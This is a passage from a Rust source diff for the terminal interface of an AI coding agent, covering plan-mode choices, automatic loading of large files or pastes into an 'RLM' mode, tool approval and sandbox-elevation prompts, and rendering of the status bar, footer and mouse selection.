"user".to_string(), + content: vec![ContentBlock::Text { + text: content.clone(), + cache_control: None, + }], + }); + + engine_handle + .send(Op::SendMessage { + content, + mode: app.mode, + model: app.model.clone(), + allow_shell: app.allow_shell, + trust_mode: app.trust_mode, + }) + .await?; + + Ok(()) +} + +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +enum PlanChoice { + ImplementAgent, + ImplementYolo, + RevisePlan, + ExitPlan, +} + +fn plan_next_step_prompt() -> String { + [ + "Plan ready. Choose next step:", + " 1) Implement in Agent mode (approvals on)", + " 2) Implement in YOLO mode (auto-approve)", + " 3) Revise the plan / ask follow-ups", + " 4) Exit Plan mode", + "", + "Type 1-4 and press Enter.", + ] + .join("\n") +} + +fn parse_plan_choice(input: &str) -> Option { + let trimmed = input.trim().to_lowercase(); + let first = trimmed.chars().next()?; + match first { + '1' => return Some(PlanChoice::ImplementAgent), + '2' => return Some(PlanChoice::ImplementYolo), + '3' => return Some(PlanChoice::RevisePlan), + '4' => return Some(PlanChoice::ExitPlan), + _ => {} + } + + match trimmed.as_str() { + "agent" | "a" => Some(PlanChoice::ImplementAgent), + "yolo" | "y" => Some(PlanChoice::ImplementYolo), + "revise" | "edit" | "plan" | "stay" => Some(PlanChoice::RevisePlan), + "normal" | "exit" | "cancel" | "back" => Some(PlanChoice::ExitPlan), + _ => None, + } +} + +async fn handle_plan_choice( + app: &mut App, + engine_handle: &EngineHandle, + input: &str, +) -> Result { + if !app.plan_prompt_pending { + return Ok(false); + } + + let choice = parse_plan_choice(input); + app.plan_prompt_pending = false; + + let Some(choice) = choice else { + return Ok(false); + }; + + match choice { + PlanChoice::ImplementAgent => { + app.set_mode(AppMode::Agent); + app.add_message(HistoryCell::System { + content: "Plan approved. Switching to Agent mode and starting implementation." + .to_string(), + }); + let followup = QueuedMessage::new("Proceed with the plan.".to_string(), None); + if app.is_loading { + app.queue_message(followup); + app.status_message = Some("Queued plan execution (agent mode).".to_string()); + } else { + dispatch_user_message(app, engine_handle, followup).await?; + } + } + PlanChoice::ImplementYolo => { + app.set_mode(AppMode::Yolo); + app.add_message(HistoryCell::System { + content: "Plan approved. Switching to YOLO mode and starting implementation." + .to_string(), + }); + let followup = QueuedMessage::new("Proceed with the plan.".to_string(), None); + if app.is_loading { + app.queue_message(followup); + app.status_message = Some("Queued plan execution (YOLO mode).".to_string()); + } else { + dispatch_user_message(app, engine_handle, followup).await?; + } + } + PlanChoice::RevisePlan => { + let prompt = "Revise the plan: "; + app.input = prompt.to_string(); + app.cursor_position = prompt.chars().count(); + app.status_message = Some("Revise the plan and press Enter.".to_string()); + } + PlanChoice::ExitPlan => { + app.set_mode(AppMode::Agent); + app.add_message(HistoryCell::System { + content: "Exited Plan mode. Switched to Agent mode.".to_string(), + }); + } + } + + Ok(true) +} + +fn handle_rlm_input(app: &mut App, input: String) { + if let Some(path) = input.trim().strip_prefix('@') { + let command = format!("/load @{path}"); + let result = commands::execute(&command, app); + if let Some(msg) = result.message { + app.add_message(HistoryCell::System { content: msg }); + } + return; + } + + app.add_message(HistoryCell::User { + content: input.clone(), + }); + + let content = match app.rlm_session.lock() { + Ok(mut session) => match rlm::eval_in_session(&mut session, &input) { + Ok(result) => { + let trimmed = result.trim(); + if trimmed.is_empty() { + "RLM: (no output)".to_string() + } else { + format!("RLM:\n{result}") + } + } + Err(err) => format!("RLM error: {err}"), + }, + Err(_) => "RLM error: failed to access session".to_string(), + }; + + app.add_message(HistoryCell::System { content }); +} + +struct AutoRlmDecision { + source: AutoRlmSource, + reason: String, +} + +enum AutoRlmSource { + File(PathBuf), + Paste { + content: String, + query: Option, + }, + None, +} + +struct AutoRlmLoaded { + context_id: String, + line_count: usize, + char_count: usize, +} + +fn maybe_auto_switch_to_rlm(app: &mut App, input: &str) -> Option { + let already_rlm = app.mode == AppMode::Rlm; + let decision = auto_rlm_decision(app, input, already_rlm)?; + + if !already_rlm { + app.set_mode(AppMode::Rlm); + app.rlm_repl_active = false; + } + + let mut messages = vec![if already_rlm { + format!("Auto-loaded RLM context ({})", decision.reason) + } else { + format!("Auto-switched to RLM mode ({})", decision.reason) + }]; + let mut override_query = None; + + match decision.source { + AutoRlmSource::File(path) => match load_file_into_rlm(app, &path) { + Ok(loaded) => { + messages.push(format!( + "Loaded {} as '{}' ({} lines, {} chars)", + format_load_path(app, &path), + loaded.context_id, + loaded.line_count, + loaded.char_count + )); + override_query = Some(format!( + "{}\n\nUse RLM context '{}' loaded from {}.", + input.trim(), + loaded.context_id, + format_load_path(app, &path) + )); + } + Err(err) => { + messages.push(format!("RLM auto-load failed: {err}")); + } + }, + AutoRlmSource::Paste { content, query } => match load_paste_into_rlm(app, content) { + Ok(loaded) => { + messages.push(format!( + "Loaded pasted content as '{}' ({} lines, {} chars)", + loaded.context_id, loaded.line_count, loaded.char_count + )); + let base_query = query.unwrap_or_else(|| { + "Analyze the pasted content and answer the user request.".to_string() + }); + override_query = Some(format!( + "{base_query}\n\nRLM context: '{}'.", + loaded.context_id + )); + } + Err(err) => { + messages.push(format!("RLM auto-load failed: {err}")); + override_query = Some( + "The user pasted a large block, but auto-loading failed. Ask them to retry /load or paste again." + .to_string(), + ); + } + }, + AutoRlmSource::None => {} + } + + app.add_message(HistoryCell::System { + content: messages.join("\n"), + }); + + override_query +} + +fn auto_rlm_decision(app: &App, input: &str, already_rlm: bool) -> Option { + let input_lower = input.to_lowercase(); + let wants_largest_file = input_lower.contains("largest file") + || input_lower.contains("biggest file") + || input_lower.contains("largest files"); + let explicit_rlm_request = input_lower + .split_whitespace() + .any(|word| word.trim_matches(|c: char| !c.is_ascii_alphanumeric()) == "rlm") + || input_lower.contains("rlm mode"); + let explicit_rlm = already_rlm || explicit_rlm_request; + let has_hint = input_lower.contains("chunk") + || input_lower.contains("chunking") + || input_lower.contains("huge") + || input_lower.contains("massive") + || input_lower.contains("entire repo") + || input_lower.contains("whole repo") + || input_lower.contains("full repo") + || input_lower.contains("whole project") + || input_lower.contains("entire project") + || input_lower.contains("full project") + || explicit_rlm; + + if let Some(decision) = auto_rlm_paste_decision(input, explicit_rlm, has_hint) { + return Some(decision); + } + + if wants_largest_file && let Some((path, size)) = find_largest_file(&app.workspace) { + return Some(AutoRlmDecision { + source: AutoRlmSource::File(path), + reason: format!("requested largest file ({} bytes)", size), + }); + } + + let Some(candidate) = detect_requested_file(input, &app.workspace) else { + if explicit_rlm_request && !already_rlm { + return Some(AutoRlmDecision { + source: AutoRlmSource::None, + reason: "explicit RLM request".to_string(), + }); + } + return None; + }; + if !app.trust_mode { + let workspace_root = app + .workspace + .canonicalize() + .unwrap_or_else(|_| app.workspace.clone()); + let candidate_canonical = candidate + .canonicalize() + .unwrap_or_else(|_| candidate.clone()); + if !candidate_canonical.starts_with(&workspace_root) { + return None; + } + } + let metadata = fs::metadata(&candidate).ok()?; + if !metadata.is_file() { + return None; + } + + let size = metadata.len(); + let min_bytes = if has_hint { + AUTO_RLM_HINT_FILE_BYTES + } else { + AUTO_RLM_MIN_FILE_BYTES + }; + if size < min_bytes && !explicit_rlm { + return None; + } + + let reason = if explicit_rlm_request && !already_rlm { + format!("explicit RLM file request ({} bytes)", size) + } else if already_rlm { + format!("RLM file request ({} bytes)", size) + } else { + format!("large file ({} bytes)", size) + }; + + Some(AutoRlmDecision { + source: AutoRlmSource::File(candidate), + reason, + }) +} + +fn auto_rlm_paste_decision( + input: &str, + explicit_rlm: bool, + has_hint: bool, +) -> Option { + let min_chars = if explicit_rlm || has_hint { + AUTO_RLM_PASTE_HINT_CHARS + } else { + AUTO_RLM_PASTE_MIN_CHARS + }; + + if input.len() < min_chars { + return None; + } + + let (query, content) = split_paste_input(input); + if content.len() < min_chars { + return None; + } + + Some(AutoRlmDecision { + source: AutoRlmSource::Paste { content, query }, + reason: format!("pasted content ({} chars)", input.len()), + }) +} + +fn split_paste_input(input: &str) -> (Option, String) { + let trimmed = input.trim(); + + if let Some(idx) = trimmed.find("```").or_else(|| trimmed.find("~~~")) { + let (prefix, rest) = trimmed.split_at(idx); + let query = clean_query_prefix(prefix); + if !query.is_empty() && query.len() <= AUTO_RLM_PASTE_QUERY_MAX_CHARS { + return (Some(query.to_string()), rest.trim_start().to_string()); + } + } + + if let Some(idx) = trimmed.find("\n\n") { + let (prefix, rest) = trimmed.split_at(idx); + let query = clean_query_prefix(prefix); + if !query.is_empty() && query.len() <= AUTO_RLM_PASTE_QUERY_MAX_CHARS { + return (Some(query.to_string()), rest.trim_start().to_string()); + } + } + + if let Some((first, rest)) = trimmed.split_once('\n') { + let query = clean_query_prefix(first); + if !query.is_empty() && query.len() <= AUTO_RLM_PASTE_FIRST_LINE_MAX_CHARS { + return (Some(query.to_string()), rest.trim_start().to_string()); + } + } + + (None, trimmed.to_string()) +} + +fn clean_query_prefix(prefix: &str) -> &str { + prefix.trim().trim_end_matches(':') +} + +fn load_file_into_rlm(app: &mut App, path: &Path) -> Result { + let mut session = app + .rlm_session + .lock() + .map_err(|_| "Failed to access RLM session".to_string())?; + let base_id = rlm::context_id_from_path(path); + let context_id = rlm::unique_context_id(&session, &base_id); + let (line_count, char_count) = session + .load_file(&context_id, path) + .map_err(|err| err.to_string())?; + Ok(AutoRlmLoaded { + context_id, + line_count, + char_count, + }) +} + +fn load_paste_into_rlm(app: &mut App, content: String) -> Result { + let mut session = app + .rlm_session + .lock() + .map_err(|_| "Failed to access RLM session".to_string())?; + let context_id = rlm::unique_context_id(&session, "paste"); + let line_count = content.lines().count(); + let char_count = content.len(); + session.load_context(&context_id, content, Some("pasted input".to_string())); + Ok(AutoRlmLoaded { + context_id, + line_count, + char_count, + }) +} + +fn detect_requested_file(input: &str, workspace: &Path) -> Option { + if input.to_lowercase().contains("readme") { + let readme = ["README.md", "README", "README.txt"]; + for name in readme { + let candidate = workspace.join(name); + if candidate.is_file() { + return Some(candidate); + } + } + } + + for token in input.split_whitespace() { + let token = trim_token(token); + if token.is_empty() || token.contains("://") { + continue; + } + if !looks_like_path_token(token) { + continue; + } + if let Some(path) = resolve_candidate_path(token, workspace) { + return Some(path); + } + } + + None +} + +fn trim_token(token: &str) -> &str { + token + .trim_start_matches(['(', '[', '{', '"', '\'', '`']) + .trim_end_matches([')', ']', '}', ',', ';', ':', '"', '\'', '`', '.']) +} + +fn looks_like_path_token(token: &str) -> bool { + let lower = token.to_lowercase(); + if lower == "readme" || lower == "readme.md" { + return true; + } + if token.starts_with('@') || token.contains('/') || token.contains('\\') { + return true; + } + matches!( + token.rsplit('.').next(), + Some( + "md" | "txt" + | "rs" + | "toml" + | "json" + | "yaml" + | "yml" + | "py" + | "js" + | "ts" + | "tsx" + | "jsx" + | "go" + | "java" + | "c" + | "h" + | "cpp" + | "log" + ) + ) +} + +fn resolve_candidate_path(token: &str, workspace: &Path) -> Option { + let candidate = if let Some(stripped) = token.strip_prefix('@') { + workspace.join(stripped.trim_start_matches(['/', '\\'])) + } else if Path::new(token).is_absolute() { + PathBuf::from(token) + } else { + workspace.join(token) + }; + + if candidate.is_file() { + return Some(candidate); + } + None +} + +fn find_largest_file(workspace: &Path) -> Option<(PathBuf, u64)> { + let mut stack = vec![workspace.to_path_buf()]; + let mut scanned = 0; + let mut largest: Option<(PathBuf, u64)> = None; + + while let Some(dir) = stack.pop() { + if scanned >= AUTO_RLM_MAX_SCAN_ENTRIES { + break; + } + let Ok(entries) = fs::read_dir(&dir) else { + continue; + }; + for entry in entries.flatten() { + scanned += 1; + if scanned >= AUTO_RLM_MAX_SCAN_ENTRIES { + break; + } + let path = entry.path(); + if path.is_dir() { + if let Some(name) = path.file_name().and_then(|s| s.to_str()) + && AUTO_RLM_EXCLUDED_DIRS.contains(&name) + { + continue; + } + stack.push(path); + } else if path.is_file() { + let Ok(metadata) = entry.metadata() else { + continue; + }; + let size = metadata.len(); + match largest { + Some((_, current)) if size <= current => {} + _ => largest = Some((path, size)), + } + } + } + } + + largest +} + +fn format_load_path(app: &App, path: &Path) -> String { + if let Ok(stripped) = path.strip_prefix(&app.workspace) { + return format!("@{}", stripped.display()); + } + path.display().to_string() +} + +fn looks_like_rlm_expr(input: &str) -> bool { + let trimmed = input.trim(); + if trimmed.is_empty() { + return false; + } + if trimmed.starts_with('/') { + return true; + } + + let token = trimmed + .split(|c: char| c == '(' || c.is_whitespace()) + .next() + .unwrap_or(""); + matches!( + token, + "len" + | "line_count" + | "lines" + | "search" + | "chunk" + | "chunk_sections" + | "chunk_lines" + | "chunk_auto" + | "vars" + | "get" + | "set" + | "append" + | "del" + | "head" + | "tail" + | "peek" + ) +} + +fn rlm_repl_should_route_to_chat(app: &App, input: &str) -> bool { + let trimmed = input.trim(); + if trimmed.is_empty() || looks_like_rlm_expr(trimmed) { + return false; + } + + let Ok(session) = app.rlm_session.lock() else { + return false; + }; + session.contexts.is_empty() +} + +fn render(f: &mut Frame, app: &mut App) { + let size = f.area(); + + // Clear entire area with background color + let background = Block::default().style(Style::default().bg(app.ui_theme.header_bg)); + f.render_widget(background, size); + + // Show onboarding screen if needed + if app.onboarding != OnboardingState::None { + render_onboarding(f, size, app); + return; + } + + let header_height = 1; + let footer_height = 1; + let queued_preview = app.queued_message_previews(MAX_QUEUED_PREVIEW); + let queued_lines = if queued_preview.is_empty() { + 0 + } else { + queued_preview.len() + 1 + }; + let editing_lines = usize::from(app.queued_draft.is_some()); + let status_lines = usize::from(app.is_loading); + let status_height = + u16::try_from(status_lines + queued_lines + editing_lines).unwrap_or(u16::MAX); + let prompt = prompt_for_mode(app.mode, app.rlm_repl_active); + let available_height = size + .height + .saturating_sub(header_height + footer_height + status_height); + let composer_height = { + let composer_widget = ComposerWidget::new(app, prompt, available_height); + composer_widget.desired_height(size.width) + }; + + let chunks = Layout::default() + .direction(Direction::Vertical) + .constraints([ + Constraint::Length(header_height), // Header + Constraint::Min(1), // Chat area + Constraint::Length(status_height), // Status indicator + Constraint::Length(composer_height), // Composer + Constraint::Length(footer_height), // Footer + ]) + .split(size); + + // Render header + { + let header_data = HeaderData::new( + app.mode, + &app.model, + app.total_conversation_tokens, + app.is_loading, + app.ui_theme.header_bg, + ); + let header_widget = HeaderWidget::new(header_data); + let buf = f.buffer_mut(); + header_widget.render(chunks[0], buf); + } + + // Render chat + { + let chat_widget = ChatWidget::new(app, chunks[1]); + let buf = f.buffer_mut(); + chat_widget.render(chunks[1], buf); + } + + // Render status + if status_height > 0 { + render_status_indicator(f, chunks[2], app, &queued_preview); + } + + // Render composer + let cursor_pos = { + let composer_widget = ComposerWidget::new(app, prompt, available_height); + let buf = f.buffer_mut(); + composer_widget.render(chunks[3], buf); + composer_widget.cursor_pos(chunks[3]) + }; + if let Some(cursor_pos) = cursor_pos { + f.set_cursor_position(cursor_pos); + } + + // Render footer + render_footer(f, chunks[4], app); + + if !app.view_stack.is_empty() { + let buf = f.buffer_mut(); + app.view_stack.render(size, buf); + } +} + +async fn handle_view_events(app: &mut App, engine_handle: &EngineHandle, events: Vec) { + for event in events { + match event { + ViewEvent::ApprovalDecision { + tool_id, + tool_name, + decision, + timed_out, + } => { + if decision == ReviewDecision::ApprovedForSession { + app.approval_session_approved.insert(tool_name); + } + + match decision { + ReviewDecision::Approved | ReviewDecision::ApprovedForSession => { + let _ = engine_handle.approve_tool_call(tool_id).await; + } + ReviewDecision::Denied | ReviewDecision::Abort => { + let _ = engine_handle.deny_tool_call(tool_id).await; + } + } + + if timed_out { + app.add_message(HistoryCell::System { + content: "Approval request timed out - denied".to_string(), + }); + } + } + ViewEvent::ElevationDecision { + tool_id, + tool_name, + option, + } => { + use crate::tui::approval::ElevationOption; + match option { + ElevationOption::Abort => { + let _ = engine_handle.deny_tool_call(tool_id).await; + app.add_message(HistoryCell::System { + content: format!("Sandbox elevation aborted for {tool_name}"), + }); + } + ElevationOption::WithNetwork => { + app.add_message(HistoryCell::System { + content: format!("Retrying {tool_name} with network access enabled"), + }); + let policy = option.to_policy(&app.workspace); + let _ = engine_handle.retry_tool_with_policy(tool_id, policy).await; + } + ElevationOption::WithWriteAccess(_) => { + app.add_message(HistoryCell::System { + content: format!("Retrying {tool_name} with write access enabled"), + }); + let policy = option.to_policy(&app.workspace); + let _ = engine_handle.retry_tool_with_policy(tool_id, policy).await; + } + ElevationOption::FullAccess => { + app.add_message(HistoryCell::System { + content: format!("Retrying {tool_name} with full access (no sandbox)"), + }); + let policy = option.to_policy(&app.workspace); + let _ = engine_handle.retry_tool_with_policy(tool_id, policy).await; + } + } + } + ViewEvent::SubAgentsRefresh => { + app.status_message = Some("Refreshing sub-agents...".to_string()); + let _ = engine_handle.send(Op::ListSubAgents).await; + } + } + } +} + +fn pause_terminal( + terminal: &mut Terminal>, + use_alt_screen: bool, +) -> Result<()> { + disable_raw_mode()?; + if use_alt_screen { + execute!(terminal.backend_mut(), LeaveAlternateScreen)?; + } + execute!( + terminal.backend_mut(), + DisableMouseCapture, + DisableBracketedPaste + )?; + Ok(()) +} + +fn resume_terminal( + terminal: &mut Terminal>, + use_alt_screen: bool, +) -> Result<()> { + enable_raw_mode()?; + if use_alt_screen { + execute!(terminal.backend_mut(), EnterAlternateScreen)?; + } + execute!( + terminal.backend_mut(), + EnableMouseCapture, + EnableBracketedPaste + )?; + terminal.clear()?; + Ok(()) +} + +fn render_status_indicator(f: &mut Frame, area: Rect, app: &App, queued: &[String]) { + let mut lines = Vec::new(); + + if app.is_loading { + let header = if app.show_thinking { + app.reasoning_header.clone() + } else { + None + }; + let elapsed = app.turn_started_at.map(format_elapsed); + let spinner = deepseek_squiggle(app.turn_started_at); + let label = if app.show_thinking { + deepseek_thinking_label(app.turn_started_at) + } else { + "Working" + }; + let mut spans = vec![ + Span::styled(spinner, Style::default().fg(palette::DEEPSEEK_SKY).bold()), + Span::raw(" "), + Span::styled(label, Style::default().fg(palette::STATUS_WARNING).bold()), + ]; + if let Some(header) = header { + spans.push(Span::raw(": ")); + spans.push(Span::styled( + header, + Style::default().fg(palette::STATUS_WARNING), + )); + } + + if let Some(elapsed) = elapsed { + spans.push(Span::raw(" | ")); + spans.push(Span::styled( + elapsed, + Style::default().fg(palette::TEXT_MUTED), + )); + } + + spans.push(Span::raw(" | ")); + spans.push(Span::styled( + "Esc/Ctrl+C to interrupt", + Style::default().fg(palette::TEXT_MUTED), + )); + + lines.push(Line::from(spans)); + } + + if let Some(draft) = app.queued_draft.as_ref() { + let available = area.width as usize; + let prefix = "Editing queued:"; + let prefix_width = prefix.width() + 1; + let max_len = available.saturating_sub(prefix_width).max(1); + let preview = truncate_line_to_width(&draft.display, max_len); + lines.push(Line::from(vec![ + Span::styled(prefix, Style::default().fg(palette::TEXT_MUTED)), + Span::raw(" "), + Span::styled(preview, Style::default().fg(palette::DEEPSEEK_SKY)), + ])); + } + + if !queued.is_empty() { + let available = area.width as usize; + let queued_count = app.queued_message_count(); + let header = format!("Queued ({queued_count}) - /queue edit "); + let header = truncate_line_to_width(&header, available.max(1)); + lines.push(Line::from(vec![Span::styled( + header, + Style::default().fg(palette::TEXT_MUTED), + )])); + + for (idx, message) in queued.iter().enumerate() { + let label = if message.starts_with('+') { + message.to_string() + } else { + format!("{}. {message}", idx + 1) + }; + let preview = truncate_line_to_width(&label, available.max(1)); + lines.push(Line::from(vec![Span::styled( + preview, + Style::default().fg(palette::TEXT_DIM), + )])); + } + } + + let paragraph = Paragraph::new(lines).wrap(Wrap { trim: false }); + f.render_widget(paragraph, area); +} + +fn render_footer(f: &mut Frame, area: Rect, app: &App) { + let mut spans = vec![ + Span::styled( + format!(" {} ", app.mode.label()), + mode_badge_style(app.mode), + ), + Span::raw(" | "), + Span::styled( + context_indicator(app), + Style::default().fg(palette::TEXT_MUTED), + ), + ]; + + if let Some((label, style)) = rlm_usage_badge(app) { + spans.push(Span::raw(" | ")); + spans.push(Span::styled(label, style)); + } + + if let (Some(prompt), Some(completion)) = (app.last_prompt_tokens, app.last_completion_tokens) { + spans.push(Span::raw(" | ")); + spans.push(Span::styled( + format!("last tokens in/out: {prompt}/{completion}"), + Style::default().fg(palette::TEXT_MUTED), + )); + } + + let can_scroll = app.last_transcript_total > app.last_transcript_visible; + if can_scroll { + spans.push(Span::raw(" | ")); + spans.push(Span::styled( + "Alt+Up/Down scroll", + Style::default().fg(palette::TEXT_MUTED), + )); + } + + if can_scroll && !matches!(app.transcript_scroll, TranscriptScroll::ToBottom) { + spans.push(Span::raw(" | ")); + spans.push(Span::styled( + format!( + "Scrolled {}/{}", + app.last_transcript_top + 1, + app.last_transcript_total.max(1) + ), + Style::default().fg(palette::TEXT_MUTED), + )); + } + + if app.transcript_selection.is_active() { + spans.push(Span::raw(" | ")); + spans.push(Span::styled( + copy_selection_hint(), + Style::default().fg(palette::TEXT_MUTED), + )); + } + + if let Some(ref msg) = app.status_message { + spans.push(Span::raw(" | ")); + spans.push(Span::styled( + msg, + Style::default().fg(palette::DEEPSEEK_SKY), + )); + } + + let footer = Paragraph::new(Line::from(spans)); + f.render_widget(footer, area); +} + +fn rlm_usage_badge(app: &App) -> Option<(String, Style)> { + let session = app.rlm_session.lock().ok()?; + let usage = &session.usage; + if usage.queries == 0 { + return None; + } + + let warn = usage.queries >= RLM_BUDGET_WARN_QUERIES + || usage.input_tokens >= RLM_BUDGET_WARN_INPUT_TOKENS + || usage.output_tokens >= RLM_BUDGET_WARN_OUTPUT_TOKENS; + let hard = usage.queries >= RLM_BUDGET_HARD_QUERIES + || usage.input_tokens >= RLM_BUDGET_HARD_INPUT_TOKENS + || usage.output_tokens >= RLM_BUDGET_HARD_OUTPUT_TOKENS; + + let style = if hard { + Style::default() + .fg(palette::STATUS_ERROR) + .add_modifier(Modifier::BOLD) + } else if warn { + Style::default().fg(palette::STATUS_WARNING) + } else { + Style::default().fg(palette::TEXT_MUTED) + }; + + Some(( + format!( + "RLM q:{} in/out:{} /{}", + usage.queries, usage.input_tokens, usage.output_tokens + ), + style, + )) +} + +fn mode_color(mode: AppMode) -> Color { + match mode { + AppMode::Normal => palette::DEEPSEEK_SLATE, + AppMode::Agent => palette::DEEPSEEK_BLUE, + AppMode::Yolo => palette::DEEPSEEK_SKY, + AppMode::Plan => palette::DEEPSEEK_SKY, + AppMode::Rlm => palette::DEEPSEEK_INK, + AppMode::Duo => palette::DEEPSEEK_NAVY, + } +} + +fn mode_badge_style(mode: AppMode) -> Style { + Style::default() + .fg(palette::TEXT_PRIMARY) + .bg(mode_color(mode)) + .add_modifier(Modifier::BOLD) +} + +fn prompt_for_mode(mode: AppMode, rlm_repl_active: bool) -> &'static str { + match mode { + AppMode::Normal => "> ", + AppMode::Agent => "agent> ", + AppMode::Yolo => "yolo> ", + AppMode::Plan => "plan> ", + AppMode::Rlm => { + if rlm_repl_active { + "rlm(repl)> " + } else { + "rlm> " + } + } + AppMode::Duo => "duo> ", + } +} + +fn context_indicator(app: &App) -> String { + let used = if app.total_conversation_tokens > 0 { + Some(i64::from(app.total_conversation_tokens)) + } else { + estimated_context_tokens(app) + }; + + if let Some(max) = context_window_for_model(&app.model) { + if let Some(used) = used { + let max_i64 = i64::from(max); + let remaining = (max_i64 - used).max(0); + let percent = ((remaining.saturating_mul(100) + max_i64 / 2) / max_i64).clamp(0, 100); + format!("{percent}% context left") + } else { + "100% context left".to_string() + } + } else if let Some(used) = used { + format!("{used} used") + } else { + "100% context left".to_string() + } +} + +fn estimated_context_tokens(app: &App) -> Option { + let mut total_chars = estimate_message_chars(&app.api_messages); + + match &app.system_prompt { + Some(SystemPrompt::Text(text)) => total_chars = total_chars.saturating_add(text.len()), + Some(SystemPrompt::Blocks(blocks)) => { + for block in blocks { + total_chars = total_chars.saturating_add(block.text.len()); + } + } + None => {} + } + + let estimated_tokens = total_chars / 4; + i64::try_from(estimated_tokens).ok() +} + +fn format_elapsed(start: Instant) -> String { + let elapsed = start.elapsed().as_secs(); + if elapsed >= 60 { + format!("{}m{:02}s", elapsed / 60, elapsed % 60) + } else { + format!("{elapsed}s") + } +} + +fn deepseek_squiggle(start: Option) -> &'static str { + const FRAMES: [&str; 8] = ["🐳", "🐳·", "🐳··", "🐳···", "🐳··", "🐳·", "🐳", "🐳~"]; + let elapsed_ms = start.map_or(0, |t| t.elapsed().as_millis()); + let idx = ((elapsed_ms / 220) as usize) % FRAMES.len(); + FRAMES[idx] +} + +fn deepseek_thinking_label(start: Option) -> &'static str { + const TAGLINES: [&str; 5] = [ + "Thinking", + "Plotting", + "Drafting", + "You're absolutely right! ... maybe.", + "Working", + ]; + const INITIAL_MS: u128 = 2400; + let elapsed_ms = start.map_or(0, |t| t.elapsed().as_millis()); + if elapsed_ms < INITIAL_MS { + return "Working"; + } + let idx = (((elapsed_ms - INITIAL_MS) / 2400) as usize) % TAGLINES.len(); + TAGLINES[idx] +} + +fn truncate_line_to_width(text: &str, max_width: usize) -> String { + if max_width == 0 { + return String::new(); + } + if UnicodeWidthStr::width(text) <= max_width { + return text.to_string(); + } + if max_width <= 3 { + return text.chars().take(max_width).collect(); + } + + let mut out = String::new(); + let mut width = 0usize; + let limit = max_width.saturating_sub(3); + for ch in text.chars() { + let ch_width = UnicodeWidthChar::width(ch).unwrap_or(0); + if width + ch_width > limit { + break; + } + out.push(ch); + width += ch_width; + } + out.push_str("..."); + out +} + +fn handle_mouse_event(app: &mut App, mouse: MouseEvent) { + match mouse.kind { + MouseEventKind::ScrollUp => { + let update = app.mouse_scroll.on_scroll(ScrollDirection::Up); + app.pending_scroll_delta += update.delta_lines; + } + MouseEventKind::ScrollDown => { + let update = app.mouse_scroll.on_scroll(ScrollDirection::Down); + app.pending_scroll_delta += update.delta_lines; + } + MouseEventKind::Down(MouseButton::Left) => { + if is_inside_scrollbar(app, mouse) { + jump_scrollbar(app, mouse); + return; + } + + if let Some(point) = selection_point_from_mouse(app, mouse) { + app.transcript_selection.anchor = Some(point); + app.transcript_selection.head = Some(point); + app.transcript_selection.dragging = true; + + if app.is_loading + && matches!(app.transcript_scroll, TranscriptScroll::ToBottom) + && let Some(anchor) = TranscriptScroll::anchor_for( + app.transcript_cache.line_meta(), + app.last_transcript_top, + ) + { + app.transcript_scroll = anchor; + } + } else if app.transcript_selection.is_active() { + app.transcript_selection.clear(); + } + } + MouseEventKind::Drag(MouseButton::Left) => { + if is_inside_scrollbar(app, mouse) { + jump_scrollbar(app, mouse); + return; + } + + if app.transcript_selection.dragging + && let Some(point) = selection_point_from_mouse(app, mouse) + { + app.transcript_selection.head = Some(point); + } + } + MouseEventKind::Up(MouseButton::Left) => { + if app.transcript_selection.dragging { + app.transcript_selection.dragging = false; + if selection_has_content(app) { + copy_active_selection(app); + } + } + } + _ => {} + } +} + +fn selection_point_from_mouse(app: &App, mouse: MouseEvent) -> Option { + selection_point_from_position( + app.last_transcript_area?, + mouse.column, + mouse.row, + app.last_transcript_top, + app.last_transcript_total, + app.last_transcript_padding_top, + ) +} + +fn selection_point_from_position( + area: Rect, + column: u16, + row: u16, + transcript_top: usize, + transcript_total: usize, + padding_top: usize, +) -> Option { + if column < area.x + || column >= area.x + area.width + || row < area.y + || row >= area.y + area.height + { + return None; + } + + if transcript_total == 0 { + return None; + } + + let row = row.saturating_sub(area.y) as usize; + if row < padding_top { + return None; + } + let row = row.saturating_sub(padding_top); + + let col = column.saturating_sub(area.x) as usize; + let line_index = transcript_top + .saturating_add(row) + .min(transcript_total.saturating_sub(1)); + + Some(TranscriptSelectionPoint { + line_index, + column: col, + }) +} + +fn is_inside_scrollbar(app: &App, mouse: MouseEvent) -> bool { + let Some(area) = app.last_scrollbar_area else { + return false; + }; + mouse.column >= area.x + && mouse.column < area.x + area.width + && mouse.row >= area.y + && mouse.row < area.y + area.height +} + +fn jump_scrollbar(app: &mut App, mouse: MouseEvent) { + let Some(area) = app.last_scrollbar_area else { + return; + }; + if app.last_transcript_total <= app.last_transcript_visible { + return; + } + + let rel = usize::from(mouse.row.saturating_sub(area.y)); + let height = usize::from(area.height.max(1)); + let max_start = app + .last_transcript_total + .saturating_sub(app.last_transcript_visible) + .max(1); + let target = (rel.saturating_mul(max_start) + height / 2) / height; + if let Some(anchor) = TranscriptScroll::anchor_for(app.transcript_cache.line_meta(), target) { + app.transcript_scroll = anchor; + } +} + +fn selection_has_content(app: &App) -> bool { + match app.transcript_selection.ordered_endpoints() { + Some((start, end)) => start != end, + None => false, + } +} + +fn copy_active_selection(app: &mut App) { + if !app.transcript_selection.is_active() { + return; + } + if let Some(text) = selection_to_text(app) { + if app.clipboard.write_text(&text).is_ok() { + app.status_message = Some("Selection copied".to_string()); + } else { + app.status_message = Some("Copy failed".to_string()); + } + } +} + +fn selection_to_text(app: &App) -> Option { + let (start, end) = app.transcript_selection.ordered_endpoints()?; + let lines = app.transcript_cache.lines(); + if lines.is_empty() { + return None; + } + let end_index = end.line_index.min(lines.len().saturating_sub(1)); + let start_index = start.line_index.min(end_index); + + let mut out = String::new(); + #[allow(clippy::needless_range_loop)] + for line_index in start_index..=end_index { + let line_text = line_to_plain(&lines[line_index]); + let slice = if start_index == end_index { + slice_text(&line_text, start.column, end.column) + } else if line_index == start_index { + slice_text(&line_text, start.column, line_text.chars().count()) + } else if line_index == end_index { + slice_text(&line_text, 0, end.column) + } else { + line_text + }; + out.push_str(&slice); + if line_index != end_index { + out.push('\n'); + } + } + Some(out) +} + +fn is_copy_shortcut(key: &KeyEvent) -> bool { + let is_c = matches!(key.code, KeyCode::Char('c') | KeyCode::Char('C')); + if !is_c { + return false; + } + + if key.modifiers.contains(KeyModifiers::SUPER) { + return true; + } + + key.modifiers.contains(KeyModifiers::CONTROL) && key.modifiers.contains(KeyModifiers::SHIFT) +} + +fn is_paste_shortcut(key: &KeyEvent) -> bool { + let is_v = matches!(key.code, KeyCode::Char('v') | KeyCode::Char('V')); + if !is_v { + return false; + } + + // 